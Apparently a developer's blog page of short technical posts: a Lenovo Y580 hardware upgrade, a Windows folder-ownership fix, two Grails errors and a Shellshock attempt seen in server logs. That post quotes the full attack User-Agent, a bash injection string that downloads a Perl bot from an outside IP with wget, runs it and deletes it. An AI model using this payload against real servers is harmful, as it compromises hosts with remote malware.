Upgrading a Lenovo Ideapad Y580 notebook

Software needs good hardware, so if you accidentally own a Lenovo Ideapad Y580 notebook, here’s what hardware worked fine for me

  • RAM upgrade from 8GB (2x4GB Ramaxel, came with the notebook) to 16 GB: Corsair Vengeance 16GB (2x8GB) DDR3 1600 MHz (PC3 12800) Laptop memory (CMSX16GX3M2A1600C10).
    Didn’t notice any difference when working (Windows 7 upgrade vom 7.7 to 7.9 rating, wow) except that I don’t run out of RAM anymore when doing development or having VMs running (and allocating a 8GB array in Java works 😉 )
  • Hard disk change from a conventional-SATA 256 GB Samsung SSD EVO 840 to a micro-STA Samsung MZ-M5E250BW internal SSD 250GB (mSATA) aka EVO 850
    Boot time is from about 14 seconds down to 8, also working is a bit faster – the main benefit is that the conventional-SATA slot is now available for a larger standard harddisk
Posted in Computer | Leave a comment

“You don’t currently have permission to access this folder”

“You don’t currently have permission to access this folder” – this error happens sometimes on my Windows 7 machine – seemingly in conjunction with cygwin – somehow the ownership of folders/directories gets broken.

Here’s the command to fix this quickly – run as administrator via cmd:

for /D %f in (*) do takeown /R /D Y /f %f

It loops through all directories within the current directory, and takes ownership of the folders (the /R is for recursion, the /D Y (Y will be J on German-language windowses, and the last part just specified that it concerns the folder that’s the current one in the for loop)

Posted in Uncategorized | Leave a comment

Ambiguous method overloading for method in Grails Spock Test

In case you run into the following exception when using mocks in a Spock test:

groovy.lang.GroovyRuntimeException: Ambiguous method overloading for method java.lang.Integer#multiply.
Cannot resolve which method to invoke for [null] due to overlapping prototypes between:
	[class java.lang.Character]
	[class java.lang.Number]

It might be that the mistake is simply that you need to use the rightshift operator (>>) instead of leftshift (<<) for adding the mocked return value. Here's how I produced the (not really obvious) error:

        service.publicRESTCategoriesService = Mock(PublicRESTCategoriesService)
        1 * service.publicRESTCategoriesService.getCustomDesignsCategories(12L, false, ‘test’) << [1]  // '<<' is wrong, use '>>’
Posted in Software | Leave a comment

My First Real Shellshock

Apart from a harmless backping immediately after the shellshock vulnerability became known, here’s now the first time that I noticed an actual exploit. (There may have been others that went unnoticed who might have just used some http headers). This one caused a 404 by accessing “/phppath/cgi_wrapper”, which we don’t have on our servers. So here’s the User-Agent string – have fun reading the perl script that it’s trying to download and execute:

() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESSX";system("wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl");'
Posted in Software | 2 Comments

Grails – Error creating URL for parameters – UnsupportedEncodingException

Recently (with Grails 2.4.2) an exception popped up in the logs

Caused by: org.codehaus.groovy.grails.web.servlet.mvc.exceptions.ControllerExecutionException: 
Error creating URL for parameters [{language=en, id=256, controller=gallery, action=ajaxLoadMoreDesigns}], 
problem encoding URL part [en]: 'UTF-8'
..
Caused by: java.io.UnsupportedEncodingException: 'UTF-8'
        at java.net.URLEncoder.encode(URLEncoder.java:215)
        ... 9 more

for which there was not really an explanation/fix around google. Looking twice, it turns out the quotes (around UTF-8) are the problem causing the encoding lookup to fail. The exception is caused in RegexUrlMapping.groovy which in the end gets the encoding from the request in ApplicationTagLib.groovy:

String generatedLink = linkGenerator.link(urlAttrs, request.characterEncoding)

It’s easily reproduced like this:

import groovyx.net.http.RESTClient

def client = new RESTClient("http://localhost:8080")
client.get(path: '/', headers: ['Content-Type': "text/xml; charset='UTF-8'"]) //quotes around charset here

And there’s also an easy workaround – clean up the encoding in a Grails filter:

//workaround for some browsers/clients sending quoted encoding values which breaks link generation
if (request.characterEncoding) {
   request.characterEncoding = request.characterEncoding.replace("'", "").replace("\"", "")
}
Posted in Uncategorized | Leave a comment